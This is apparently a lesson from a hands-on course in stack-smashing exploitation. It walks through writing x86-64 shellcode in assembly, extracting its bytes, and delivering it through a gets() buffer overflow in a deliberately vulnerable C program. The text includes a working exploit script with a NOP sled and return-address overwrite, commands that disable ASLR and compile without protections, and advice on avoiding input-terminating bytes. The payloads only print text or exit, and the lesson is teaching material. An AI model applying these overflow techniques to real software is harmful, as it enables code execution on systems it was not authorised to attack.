Skip to content
Courses

Writing Payloads in Assembly

Stack SmashingLesson 7 of 790 minutesLessonNo lab next

We spent most of Executing Code on the Stack getting the processor to run a supplied sequence of 61 bytes. The offset, the sled, and the eight bytes in the return slot were all part of delivering that sequence. What happened afterward came from the instructions inside it, which is the part we haven’t written ourselves yet.

Even changing the message meant editing two places: the text and the mov edx that gives its length. We had replacement bytes for that change, but writing a different instruction would leave us working out its encoding by hand. I’d rather write down the instruction I mean and have a tool do that translation.

That’s what an assembler is for: we write the instructions as text, and it produces the bytes that encode them. You’ve seen this translation as part of GCC’s work in Machine Instructions and Registers. Here we’ll run the assembler ourselves and keep the bytes it produces.

Create a fresh working directory and move into it:

Terminal window
mkdir -p ~/underdunn-course/assembly-payload ~/underdunn-course/notes
cd ~/underdunn-course/assembly-payload

Save the complete target as lookup.c:

#include <stdio.h>
#include <stdlib.h>
void log_query(void)
{
puts("Query logged.");
exit(0);
}
void answer_query(void)
{
char line[512];
gets(line);
puts("No such user.");
}
int main(void)
{
puts("Name:");
answer_query();
puts("Lookup complete.");
return 0;
}

Address randomization can move the stack between process launches. Keep it disabled here so the measured address remains usable; the mitigation itself is explained later in the course:

Terminal window
sudo sysctl -w kernel.randomize_va_space=0

Build lookup-exec under the same deliberately weakened conditions as the previous lesson:

Terminal window
gcc -g -O0 -fno-omit-frame-pointer -fno-stack-protector -no-pie -z execstack lookup.c -o lookup-exec

The last three switches remove the canary, keep the program’s code fixed and request an executable stack. The mitigations section will put those protections back one at a time.

Before writing the payload, find the address of line. Start GDB and stop at the beginning of answer_query:

Terminal window
gdb -q ./lookup-exec
(gdb) break answer_query
(gdb) run
(gdb) print/x &line

Check the address, leave GDB with quit, and use that value for BUFFER in payload.py below. GDB and your shell give the process slightly different environments, which can move the stack even with randomization disabled. The sled is meant to absorb a modest difference. If it does not, run both sides with an empty environment: add set exec-wrapper env -i before GDB’s run, then use env -i ./lookup-exec < input.bin in the shell.

In C you call write and the library makes the request for you. A payload has no library, so it makes the request itself, and the kernel reads what it needs out of registers.

The syscall manual page gives the convention for every architecture Linux runs on. The x86-64 row is the one we want:

Register Carries
rax which system call is wanted
rdi the first argument
rsi the second argument
rdx the third argument

The syscall instruction then transfers into the kernel, which reads those registers, does the work, and returns with a result in rax. Two numbers cover this lesson: write is call 1 and exit is call 60.

That is enough to read the payload from the last lesson as two requests rather than as eight opaque instructions.

write takes a file descriptor, a buffer, and a count, so rdi gets 1 for standard output (which is unrelated to write also being call 1, and the collision does catch people), rsi gets the address of the message, and rdx gets its length.

exit takes a status, so rdi gets 0 and nothing else is needed.

Save this as payload.S:

.intel_syntax noprefix
lea rsi, [rip+message]
mov edi, 1
mov edx, OFFSET message_len
mov eax, 1
syscall
mov edi, 0
mov eax, 60
syscall
message:
.ascii "Executing from the stack."
message_end:
.set message_len, message_end - message

Four things in there are not instructions for the CPU. They’re for the assembler that’s turning this file into bytes.

.intel_syntax noprefix asks for the notation objdump -Mintel and GDB have been printing all along, rather than the assembler’s default.

The next two deal with the message:

  • .ascii lays down its bytes and nothing else, where .asciz would add a terminating zero that our write would then print.
  • .set gives a name to the distance between the two labels around the message, so the assembler works out the length instead of us.

The fourth is the one that bites. OFFSET asks for the value of message_len, because a bare symbol in this notation means the memory at that address instead. Write mov edx, message_len and the assembler accepts it without complaint, producing a load from address 0x19 rather than a request to print anything.

Writing mov edx, 25 works too, and assembles to the same five bytes. But remember what happened when we shortened the message last lesson: leaving edx at 25 printed four bytes of frame pointer filler after the text. I’d rather let the assembler count the message than rely on remembering to change the same number in two places.

From assembly instructions to write and exit

Step through the listing to see each instruction change the registers. The rip → marker points to the next instruction, while “done” marks the one just executed. Blue marks its changed register.

Instructions

  1. rip →lea rsi, [rip+message]
  2. mov edi, 1
  3. mov edx, OFFSET message_len
  4. mov eax, 1
  5. syscall
  6. mov edi, 0
  7. mov eax, 60
  8. syscall
message0x7fffffffdff7Executing from the stack.message_len = 25 bytes

Registers

rip
0x7fffffffdfd3
rsi
Not shown
rdi
Not shown
rdx
Not shown
rax
Not shown

Before lea: none of these instructions has executed.

System callNo request yet — the registers are not ready.Loading registers does not call the kernel.
Standard outputNo output yet.

Addresses match the preceding walkthrough. This trace assumes its successful 25-byte write; only the relevant registers are shown. “Not shown” does not mean zero.

Assemble the payload and extract its bytes

Section titled “Assemble the payload and extract its bytes”

as produces an object file containing headers and section tables as well as the instruction bytes. We only want the code section’s bytes in the buffer, so objcopy writes those out on their own:

Terminal window
as -o payload.o payload.S
objcopy -O binary payload.o payload.bin
wc -c < payload.bin
61
Terminal window
xxd payload.bin
00000000: 488d 351d 0000 00bf 0100 0000 ba19 0000 H.5.............
00000010: 00b8 0100 0000 0f05 bf00 0000 00b8 3c00 ..............<.
00000020: 0000 0f05 4578 6563 7574 696e 6720 6672 ....Executing fr
00000030: 6f6d 2074 6865 2073 7461 636b 2e om the stack.

Those should be the same 61 bytes we used last lesson. We can compare the file directly with the supplied literal:

Terminal window
python3 - <<'PY'
from pathlib import Path
supplied = bytes.fromhex(
"488d351d000000bf01000000ba19000000b8010000000f05bf00000000b83c0000000f05"
) + b"Executing from the stack."
print(supplied == Path("payload.bin").read_bytes())
PY
True

ba19000000 is the mov edx we asked the assembler to compute, holding 25. 488d351d000000 is the lea, with the same 0x1d displacement, because the message still begins immediately after the last instruction.

The complete payload.py listing below reads payload.bin from the same directory. Its BUFFER value belongs to the recorded run; replace it with the address you measured above.

from pathlib import Path
from struct import pack
SHELLCODE = Path("payload.bin").read_bytes()
BUFFER = 0x7fffffffde10
sled = 512 - len(SHELLCODE)
payload = b"\x90" * sled + SHELLCODE + b"B" * 8 + pack("<Q", BUFFER + sled // 2)
Path("input.bin").write_bytes(payload)
print(f"sled {sled}, payload {len(SHELLCODE)}, aim {hex(BUFFER + sled // 2)}, total {len(payload)}")
Terminal window
python3 payload.py
./lookup-exec < input.bin
sled 451, payload 61, aim 0x7fffffffdef1, total 528
Name:
No such user.
Executing from the stack.

The sled is computed from the payload’s length rather than fixed at 451, which matters from here on, because the payloads you write next are not all 61 bytes.

The assembler has given us the bytes we asked for, but it doesn’t know how we intend to deliver them.

There are still two limits to check before we can expect the program to receive them, even when the instructions themselves are correct.

The first is length. Ours has 512 bytes of buffer to share with its sled, which is generous only because lookup.c reads an unbounded line into a large buffer. A program reading into 64 bytes leaves room for a payload a fifth of this one’s size, and for no sled worth the name.

The second is which byte values survive the trip. The function reading the input decides that, and it decides it for the whole input rather than for the part you think of as code:

Input arrives through It stops at So the payload may not contain
gets a newline 0x0a
strcpy the string terminator 0x00
scanf("%s") any whitespace 0x09 through 0x0d, and 0x20
read nothing, it takes a count any byte

You have already been bitten by the gets row once without writing a single instruction. The aim window in the last lesson had two dead offsets in the middle of it, &line + 250 and &line + 506, because at those two the address ends in 0x0a. The rule covers every byte of the input, including the ones you compute and the ones the assembler chooses.

So scan before you deliver:

Terminal window
python3 -c "from pathlib import Path; b = Path('payload.bin').read_bytes(); print([i for i, c in enumerate(b) if c == 0x0a] or 'clean')"
clean

Write one of your own: exit with a chosen status

Section titled “Write one of your own: exit with a chosen status”

The smallest useful payload makes one request. Write status.S that exits with status 42 and prints nothing, assemble and extract it the same way, deliver it, and check the exit status with echo $?.

Check your payload
.intel_syntax noprefix
mov edi, 42
mov eax, 60
syscall
bf2a000000b83c0000000f05

Twelve bytes, so the sled grows to 500 and payload.py recomputes the midpoint on its own. Read the aim it prints before you run anything:

sled 500, payload 12, aim 0x7fffffffdf0a, total 528

That aim ends in 0x0a. It is the trap from two sections ago, arriving this time in a number the script computed rather than one I typed, and if you deliver it gets stops inside the address and the return slot never gets filled. The midpoint is convenient, not required. Move the aim one byte:

payload = b"\x90" * sled + SHELLCODE + b"B" * 8 + pack("<Q", BUFFER + sled // 2 + 1)
Terminal window
python3 payload.py
./lookup-exec < input.bin
echo $?
sled 500, payload 12, aim 0x7fffffffdf0b, total 528
Name:
No such user.
42

The shell reports 42 because our exit ran and nothing else did. Lookup complete. never prints, since main never got its turn back.

Write one of your own: a message of exactly ten bytes

Section titled “Write one of your own: a message of exactly ten bytes”

Now change the message in payload.S to Ten bytes., which is ten characters including the full stop. Everything else stays as it is, and the length looks after itself.

Predict what the program will print before you assemble it. Then assemble, scan, deliver, and run.

What actually happens

Instead of the new message, the program prints its ordinary rejection output:

Name:
No such user.
Lookup complete.

The run exits with status 0 and no crash, matching an ordinary rejected name even though we supplied different input.

The scan says why:

[13]

The message is ten bytes, so the assembler emits mov edx, 10 as ba 0a 00 00 00. Byte 13 of the payload is that 0x0a, and gets stopped there. Counting the sled in front of it, the input ended after 479 bytes, well short of the return slot at 520. The saved return address was never touched, so answer_query returned where it always does.

The assembler produced the requested instructions, but the input function stopped before delivering all their bytes. That accounts for both observations: the new message is absent, and the program reaches its usual final line.

The cheap fix is to make the message a length whose byte is not 0x0a. Ten bytes!! is eleven, giving ba 0b 00 00 00, and it prints. Choosing alternative instruction encodings is outside this lesson’s scope.

I’d start with the first result that differs from the walkthrough. A different byte count and an ordinary-looking program exit give us different things to check, so don’t start by changing the padding:

  • If wc -c reports a byte count you did not predict, disassemble what you actually produced with objdump -D -b binary -m i386:x86-64 -Mintel payload.bin and compare it against your source. A mov that came out seven bytes long instead of five is a missing OFFSET.
  • If the program behaves completely normally and prints its usual last line, scan for a prohibited byte, because the input was cut short before it reached the return slot.
  • If the script does not report 528 bytes, regenerate input.bin before interpreting anything else.
  • If the program faults, check x/gx $rbp+8 at break *0x4011cb and confirm the value still falls between &line and &line + 450. A longer payload shortens the sled, which moves its midpoint.
  • If the payload runs but prints more or less than you meant, read the mov edx in your own xxd output and check it against the message length you intended.

To recover a known state, reassemble from the source printed above, confirm 61 bytes, and regenerate input.bin.

Knowledge check

Question 1 of 3

A payload needs to make the request write(1, message, 25). Which register holds the file descriptor argument, 1?

The input reached a saved return address because of a defect in the program, but executing the supplied bytes also depended on the build and VM settings we chose. We’ve kept those protections out of the way so far.

In the Mitigations section, we’ll turn them back on and see what changes.